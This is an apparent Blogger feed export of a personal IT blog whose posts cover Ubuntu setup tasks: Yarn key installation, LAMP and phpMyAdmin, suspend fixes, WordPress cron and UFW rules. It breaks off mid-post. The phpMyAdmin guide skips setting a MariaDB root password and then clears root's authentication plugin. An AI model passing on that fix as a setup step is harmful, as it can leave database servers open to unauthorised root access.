tag:blogger.com,1999:blog-68244760486871451442024-03-14T15:25:02.695+05:30eV@gabond: e-Xperience </IT>< IT Pro; Hobbyist Musician cum Photographer; Meditation & more... />CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.comBlogger264125tag:blogger.com,1999:blog-6824476048687145144.post-53008682943263256692023-02-02T03:29:00.003+05:302023-02-02T03:29:43.936+05:30[SOLVED]: Yarn Debian Key Expiry Date Updated<p><b> Solved by re-installing:</b></p><p></p><pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: #f0f0f0; border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
sudo apt update
sudo apt install yarn
</code></pre><p></p><p>Ref: https://linuxize.com/post/how-to-install-yarn-on-ubuntu-20-04/</p>CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-89318264196953367002023-02-02T03:08:00.001+05:302023-02-02T03:36:35.087+05:30[SOLVED] - Install phpMyAdmin & LAMP on Ubuntu 20.04 Desktop<p>Install phpMyAdmin & Linux, Apache, MySQL/MariaDB & PHP [LAMP] on Ubuntu 20.04 desktop.</p><p>Below you will find the instructions that I myself have tried and successfully implemented on my system.</p><p><span style="font-size: x-large;"> 1. Install Apache Web Server</span></p>
<p></p><pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> sudo apt update
sudo apt install apache2
</code></pre><p></p>
<p><span style="font-size: xx-large;">2. Install MariaDB</span></p>
<p></p><pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> sudo apt install mariadb-server
sudo apt install mariadb-client
</code></pre>
<p></p>
After that, run the commands below to secure the MariaDB server by creating a root password, disallowing remote root access removing anonymous, and more.
<pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> sudo mysql_secure_installation
</code></pre>
<pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> If you've just installed MariaDB, and haven't set the root password yet, you should just press enter here.
Enter current password for root (enter for none): PRESS ENTER
Switch to unix_socket authentication [Y/n] n
Change the root password? [Y/n] n
Remove anonymous users? [Y/n] y
Disallow root login remotely? [Y/n] y
Remove test database and access to it? [Y/n] y
Reload privilege tables now? [Y/n] y
All done!
</code></pre><p><span style="font-size: x-large;">3. Install PHP</span></p>
<p></p><pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> sudo apt install php7.4 php7.4-common php7.4-mysql php7.4-gmp php7.4-curl php7.4-intl php7.4-mbstring php7.4-xmlrpc php7.4-gd php7.4-xml php7.4-cli php7.4-zip
</code></pre><p></p><span style="font-size: x-large;">
4. Install phpMyAdmin</span><p></p><pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> sudo apt install phpmyadmin
</code></pre><p></p>
When prompted to choose the web server, select apache2 and continue.<div> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuPCCvc031d8fdYgAJuh20ZVNoRBYzhfoAP3C5ymDCGOH4Ix5PtacnT7kWHIQfrVmhPmaJy0w1Sg6pwYuICd1c8VQek7HvbnXhu8i_8qW455oRJZbqoFS-hhEuIxidkWitBUjTQG_xjWiZ3InTm9-OHdAxKjC83I0uXCuHvCIpdEA1PKFkgF4HUqaIIA/s743/Selection_009.png" style="margin-left: 1em; margin-right: 1em;"><img alt="Install phpMyAdmin, Apache, PHP, MySQL or MariaDB on Ubuntu 20.04 Desktop" border="0" data-original-height="243" data-original-width="743" height="131" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuPCCvc031d8fdYgAJuh20ZVNoRBYzhfoAP3C5ymDCGOH4Ix5PtacnT7kWHIQfrVmhPmaJy0w1Sg6pwYuICd1c8VQek7HvbnXhu8i_8qW455oRJZbqoFS-hhEuIxidkWitBUjTQG_xjWiZ3InTm9-OHdAxKjC83I0uXCuHvCIpdEA1PKFkgF4HUqaIIA/w400-h131/Selection_009.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><div class="separator" style="clear: both;">When prompted again to allow web config-common to install a database and configure select Yes and press ENTER.</div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;">Then type and confirm a password.</div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh36LKzgoG7oHGUeiaG8uPGZOq95xwr2kVuM7MKTxK9X4a_ilUs3nsrzluDFVQZivV7RLOsxmhKw1sCvS5SnpyAru98R7aTIawgqCBlS6zEJC9f8vTRdO3_SNgVIuHjtoyNoUDknYaun-aj3bbvru5unNd2z8UH-NxWECAhIUek3LXqlrmzxr2oWc-w-A/s678/Selection_010.png" style="margin-left: 1em; margin-right: 1em;"><img alt="Install phpMyAdmin, Apache, PHP, MySQL or MariaDB on Ubuntu 20.04 Desktop" border="0" data-original-height="331" data-original-width="678" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh36LKzgoG7oHGUeiaG8uPGZOq95xwr2kVuM7MKTxK9X4a_ilUs3nsrzluDFVQZivV7RLOsxmhKw1sCvS5SnpyAru98R7aTIawgqCBlS6zEJC9f8vTRdO3_SNgVIuHjtoyNoUDknYaun-aj3bbvru5unNd2z8UH-NxWECAhIUek3LXqlrmzxr2oWc-w-A/w400-h195/Selection_010.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div>After installing phpMyAdmin, open your web browser and browse to the server hostname or IP address followed by /phpmyadmin.</div><div class="separator" style="clear: both; text-align: left;"><pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> http://localhost/phpmyadmin
</code></pre></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN5GYVa-AwlgJtLFz_xHsjWfAqqTWajVeHbIFLdsfcT5nYiITpNXJBax5wmf1ezZ22E5tLTcAgMMVSUe-DkEratKe6DPqKCyEu1TKs6CEwLIXGU2DAbZUb7J0NwBrxhFaepd3BRxTZjI76j3NhgbAZA1ET3U79fyx2jxfniydhImMmXEIDZSNY695PTQ/s542/Selection_011.png" style="margin-left: 1em; margin-right: 1em;"><img alt="Install phpMyAdmin, Apache, PHP, MySQL or MariaDB on Ubuntu 20.04 Desktop" border="0" data-original-height="487" data-original-width="542" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN5GYVa-AwlgJtLFz_xHsjWfAqqTWajVeHbIFLdsfcT5nYiITpNXJBax5wmf1ezZ22E5tLTcAgMMVSUe-DkEratKe6DPqKCyEu1TKs6CEwLIXGU2DAbZUb7J0NwBrxhFaepd3BRxTZjI76j3NhgbAZA1ET3U79fyx2jxfniydhImMmXEIDZSNY695PTQ/w400-h360/Selection_011.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: left;">If you encounter the following error implement the solution below to resolve the issue:</div><div><br /></div><span style="color: red;"><b>ERROR: mysqli_real_connect(): (HY000/1698): Access denied for user 'root'@'localhost'</b></span></div><div><br /></div><div>Open your terminal and run the following commands:</div><div><pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> sudo mysql -u root
</code></pre></div>
<pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> use mysql;
update user set plugin='' where User='root';
flush privileges;
\q
</code></pre>Now the LAMP cum phpMyAdmin should be working for you.<div><br /></div><div><b>>> Ref:</b></div><div><ol style="text-align: left;"><li><a href="https://geekrewind.com/how-to-install-phpmyadmin-on-ubuntu-linux-with-apache">https://geekrewind.com/how-to-install-phpmyadmin-on-ubuntu-linux-with-apache</a></li><li><a href="https://stackoverflow.com/a/45142195/7206497">https://stackoverflow.com/a/45142195/7206497</a></li></ol></div>CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-14107290519559891092020-11-01T15:49:00.003+05:302020-11-01T17:55:26.132+05:30[SOLVED] Suspend-Resume Not Working in Ubuntu 20.04<p>If you are unable to suspend your laptop, here's the solution which I've tried & tested and it worked with my Lenovo Thinkpad T440.<br /></p><p> Open your terminal and enter the following commands:</p><p>>> Steps 1: Create backup of the following file 'logind.conf':</p><p></p><pre style="background-attachment: scroll; background-clip: border-box; background-color: #f0f0f0; background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background-origin: padding-box; background-position: 0% 0%; background-repeat: repeat; background-size: auto; background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> sudo cp /etc/systemd/logind.conf /etc/systemd/logind-backup.conf
</code></pre><p></p><p>>> Steps 2: Depending upon the GUI based code editor you have, such as gedit, Geany etc or text based editor nano or the default vi enter the following command below. If you have & want to use Geany then you can replace vi with geany:</p><p></p><pre style="background-attachment: scroll; background-clip: border-box; background-color: #f0f0f0; background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background-origin: padding-box; background-position: 0% 0%; background-repeat: repeat; background-size: auto; background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> sudo vi /etc/systemd/logind.conf
</code></pre><p> >> Steps 3: Step 3: Carefully navigate and make sure the following lines are changed to look like shown below. If the lines are commented (Example: #HandleSuspendKey=suspend), uncomment them.<br /></p>
<p></p><pre style="background-attachment: scroll; background-clip: border-box; background-color: #f0f0f0; background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background-origin: padding-box; background-position: 0% 0%; background-repeat: repeat; background-size: auto; background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> HandleSuspendKey=suspend
HandleLidSwitch=suspend
HandleLidSwitchDocked=suspend
</code></pre><p> >> Steps 4: Save the file. <br /></p><p> >> Steps 3: Reboot & check. You can reboot from the terminal using the following command:</p><p></p><pre style="background-attachment: scroll; background-clip: border-box; background-color: #f0f0f0; background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background-origin: padding-box; background-position: 0% 0%; background-repeat: repeat; background-size: auto; background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> sudo reboot
</code></pre><p><br /></p>CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com8tag:blogger.com,1999:blog-6824476048687145144.post-74744100791877293532020-06-28T17:19:00.004+05:302020-07-08T10:59:32.304+05:30[Solved] - How to Find Composer Name of Mageplaza Paid Extensions - Magento 2<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-tBk8rQJYkhA/Xvh9jSDsNxI/AAAAAAAABqw/0pWpdxnZeeET6LPbm0cNWaybXo4GILb-wCK4BGAsYHg/s1135/mageplaza-paid-extension-composer-name.png" style="margin-left: 1em; margin-right: 1em;"><img alt="How to Find, Extension Name of Mageplaza Paid Extension" border="0" data-original-height="737" data-original-width="1135" height="260" src="https://1.bp.blogspot.com/-tBk8rQJYkhA/Xvh9jSDsNxI/AAAAAAAABqw/0pWpdxnZeeET6LPbm0cNWaybXo4GILb-wCK4BGAsYHg/w400-h260/mageplaza-paid-extension-composer-name.png" title="My comment getting deleted for no apparrent reason!" width="400" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Don't know why Mageplaza haven't still listed the <b>composer name </b>of their paid extensions. Look at the comment section of this tutorial: <a href="https://bit.ly/2Z9P7jC" target="_blank">https://bit.ly/2Z9P7jC</a>; you will see users asking for composer name, and still no solution is provided by them. Today I tried posting this solution as a comment in the aforementioned page, and each time my comment got deleted for reasons unknown to me. That's why I have decided to post this solution here.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-VP5kltVpuyE/Xvh-00my_XI/AAAAAAAABrw/zq9f827TLNosyvJ767WV8W_xg-_6CLuHgCK4BGAsYHg/s515/composer-name-extension-mageplaza.png" style="margin-left: 1em; margin-right: 1em;"><img alt="[Solved] - How to Find, Extension Name of Mageplaza Paid Extension" border="0" data-original-height="515" data-original-width="451" height="400" src="https://1.bp.blogspot.com/-VP5kltVpuyE/Xvh-00my_XI/AAAAAAAABrw/zq9f827TLNosyvJ767WV8W_xg-_6CLuHgCK4BGAsYHg/w350-h400/composer-name-extension-mageplaza.png" width="350" /></a></div>
<a href="https://1.bp.blogspot.com/-ycYnAurwlMk/Xvh-SuTwvoI/AAAAAAAABrE/Jq_J8NiRmtMPFRsAQa2o6MEf2CysWkqUACK4BGAsYHg/s1135/mageplaza-paid-extension-composer-name.png" style="margin-left: 1em; margin-right: 1em;"></a><br />
<div>
The solution is very simple. Just download the extension, and look in the <b>composer.json </b>file. You will see a key/value pair entry as follows: </div>
<div>
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;"> "name": "mageplaza/<b>module-search</b>"
</code></pre>
</div>
<div>
Here <b>module-search</b> is the <b>composer name</b> of the paid extension Ajax Search for Magento 2.</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
NOTE: If you are installing Mageplaza extensions for the first time via composer, make sure to run the following command first:<br />
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal;"> $ composer config repositories.mageplaza composer https://repo.mageplaza.com
</code></pre>
</div>
</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com2tag:blogger.com,1999:blog-6824476048687145144.post-69251454001870042292020-06-22T12:25:00.001+05:302020-06-22T13:32:29.187+05:30Setup WordPress CRON in Cloudways<div dir="ltr" style="text-align: left;" trbidi="on">
In this tutorial, I will show you, how to<b> Setup CRON in your Cloudways Hosting Account for WordPress</b>.<br />
<br />
1. First you will have to disable WordPress's default CRON.Check this tutorial by Kinsta to know how to do it: <a href="https://bit.ly/37RQjvW">https://bit.ly/37RQjvW</a>.<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> // Disable WordPress Default CRON
define('DISABLE_WP_CRON', true);
</code></pre>
<br />
2. Log into your Cloudways account & go to the CRON Configuration page. You can do so by clicking on the following link: <a href="https://platform.cloudways.com/apps" target="_blank">https://platform.cloudways.com/apps</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-TSjNRSYjZI8/XvA_6n5bGhI/AAAAAAAABqQ/xuJAsrQpmCYIQkQya-R2ibuNPlQEVJT2wCLcBGAsYHQ/s1600/setup-wordpress-cron-cloudways-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="692" data-original-width="477" height="400" src="https://1.bp.blogspot.com/-TSjNRSYjZI8/XvA_6n5bGhI/AAAAAAAABqQ/xuJAsrQpmCYIQkQya-R2ibuNPlQEVJT2wCLcBGAsYHQ/s400/setup-wordpress-cron-cloudways-1.png" width="275" /></a></div>
<br />
<br />
2. Select the App whose CRON you would like to setup.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-I0wrKNu5F98/XvBSDEvji0I/AAAAAAAABqc/r5s3MBGHLtw3Il7BLmcG5Bpcp-P922N-wCLcBGAsYHQ/s1600/setup-wordpress-cron-cloudways-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="669" data-original-width="960" height="278" src="https://1.bp.blogspot.com/-I0wrKNu5F98/XvBSDEvji0I/AAAAAAAABqc/r5s3MBGHLtw3Il7BLmcG5Bpcp-P922N-wCLcBGAsYHQ/s400/setup-wordpress-cron-cloudways-2.png" width="400" /></a></div>
<br />
3.1. Click on <b>Cron Job Management</b><br />
3.2. On the Cron Job Management page, click on <b>ADVANCED</b><br />
3.3. Add the following command to setup/enable Manual CRON.<br />
NOTE:<br />
<ul style="text-align: left;">
<li>Replace <b>http://example.com</b> with the name of your website</li>
<li>/5 signifies 5 minutes. You can replace it with 10 minutes or 15 minutes, if you are in a shared host</li>
<li>2>&1 disables email notifications after each CRON run </li>
</ul>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> */5 * * * * wget -q -O - http://example.com/wp-cron.php?doing_wp_cron >/dev/null 2>&1
</code></pre>
<br />
4. Finally click on <b>SAVE CHANGES</b>.<br />
<br />
Manual CRON run should be setup in your site now.<br />
<br />
You can install the <a href="https://bit.ly/2V1RmV2" target="_blank">WP-Cron Status Checker</a> plugin to check whether CRON is running correctly or not.</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-67088763648367408492020-02-17T01:26:00.000+05:302020-02-17T01:26:10.295+05:30Allow Clemetine Remote App Access in UFW [Uncomplicated Firewall]<div dir="ltr" style="text-align: left;" trbidi="on">
If you would like to use the <a href="http://bit.ly/39CTNCo" target="_blank">Clementine Remote App</a> with your <a href="https://ubuntu.com/" target="_blank">Ubuntu</a> system, then try the following steps:<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://1.bp.blogspot.com/-OWKUWnen48Q/XkmZnxjtAPI/AAAAAAAABnM/0jCFuxSno_koT4Gspa3kWlJp5RQjfUVmACLcBGAsYHQ/s1600/Selection_001.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="Allow Access to Clementine Remote App in UFW [Uncomplicated Firewall]" border="0" data-original-height="653" data-original-width="831" height="313" src="https://1.bp.blogspot.com/-OWKUWnen48Q/XkmZnxjtAPI/AAAAAAAABnM/0jCFuxSno_koT4Gspa3kWlJp5RQjfUVmACLcBGAsYHQ/s400/Selection_001.png" title="" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Image 1</td></tr>
</tbody></table>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://1.bp.blogspot.com/-gIsqcPlEh_k/Xkmba87LrII/AAAAAAAABnc/KIdko9B562cQBvmKkspPPru_pugiFSDCwCEwYBhgL/s1600/dda6555d-8ea8-43c6-8963-c8a88a4adf64.jpeg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1080" data-original-width="540" height="400" src="https://1.bp.blogspot.com/-gIsqcPlEh_k/Xkmba87LrII/AAAAAAAABnc/KIdko9B562cQBvmKkspPPru_pugiFSDCwCEwYBhgL/s400/dda6555d-8ea8-43c6-8963-c8a88a4adf64.jpeg" width="200" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Image 2</td></tr>
</tbody></table>
<ol style="text-align: left;">
<li>Open <a href="https://www.clementine-player.org/" target="_blank">Clementine</a></li>
<li>Open <b>Preferences</b> using the keyboard shortcut <b>(CTRL+P)</b> or open on <b>Tools >> Preferences</b> from the Clementine menu</li>
<li>Click on <b>Network Remote tab</b> on the left, and make note of the following two values:</li>
<ul>
<li>Port</li>
<li>Your IP Address</li>
</ul>
<li>In my case, my IP address was 192.168.0.113</li>
<li>Open your terminal, and enter the following command:<br /><b>sudo ufw allow from 192.168.0.0/24 to any port 5500</b>. Please note that if your IP is, say for example 192.168.1.20, then your terminal command should be as:<br /><b>sudo ufw allow from 192.168.1.0/24 to any port 5500</b></li>
<li>Download the <b>Clementine Remote app</b> by clicking on the following link <a href="http://bit.ly/39CTNCo" target="_blank">http://bit.ly/39CTNCo</a> Play store. Now open the app, and you should be seeing a screen as shown in the Image 2 above. Enter your IP address & click on connect.<a href="http://bit.ly/39CTNCo" target="_blank"><br /></a></li>
<li>Now you should be able to remotely access your Clementine music player from your Clementine Remote App</li>
</ol>
</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-34272510915951212672019-02-12T01:41:00.002+05:302019-02-12T01:41:53.915+05:30[SOLVED] - Alibaba Cloud (ECS) - The Requested URL Could Not Be Retrieved. Unable to Access Website<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-qc_XL7eIZJY/XGHWUXirUuI/AAAAAAAABk4/Xoh4WNWzKR838HT5cTERzPyhnR4Dd9djwCLcBGAs/s1600/Selection_004.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="[SOLVED] - Alibaba Cloud (ECS) - The Requested URL Could Not Be Retrieved. Unable to Access Website" border="0" data-original-height="349" data-original-width="595" height="233" src="https://3.bp.blogspot.com/-qc_XL7eIZJY/XGHWUXirUuI/AAAAAAAABk4/Xoh4WNWzKR838HT5cTERzPyhnR4Dd9djwCLcBGAs/s400/Selection_004.png" title="" width="400" /></a></div>
<br />
<br />
<h3 style="text-align: left;">
ERROR</h3>
<i>The requested URL could not be retrieved<br /><br />The following error was encountered while trying to retrieve the URL: http://149.x.x.1/<br /><br /> Connection to </i><i><i>149.x.x.1/</i> failed.<br /><br />The system returned: (111) Connection refused<br /><br />The remote host or network may be down. Please try the request again.<br /><br />Your cache administrator is webmaster.</i> <br />
<h3 style="text-align: left;">
Solution </h3>
Today after restoring my snapshot to one of my Alibaba Cloud ECS instance; I was unable to access my website from my browser. I tried a lot of this and that but all in vain. Then finally, after much research, I read that the connection was getting refused by my Web Server, in my case the Apache Web Server.<br />
<br />
Once I restarted, the Web Server, the website was accessible now.<br />
<h3 style="text-align: left;">
Command to restart the Apache Web Server: </h3>
<b>For Ubuntu:</b><br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> sudo service apache2 restart
</code></pre>
<br />
<b>For RHEL/CentOS 7:</b><br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> systemctl restart httpd
</code></pre>
</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-76515933343405343362019-01-18T14:29:00.004+05:302023-04-20T04:37:35.275+05:30[SOLVED] - Fix Corrupt NTFS Parition In Ubuntu Using ntfs-3g, Without Using Windows OR fsck<div dir="ltr" style="text-align: left;" trbidi="on">
Since yesterday, I've been trying to backup my hard drive using Clonezilla but without any success. Twice I got the following error, when I tried to backup my full hard drive by using Clonezilla.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
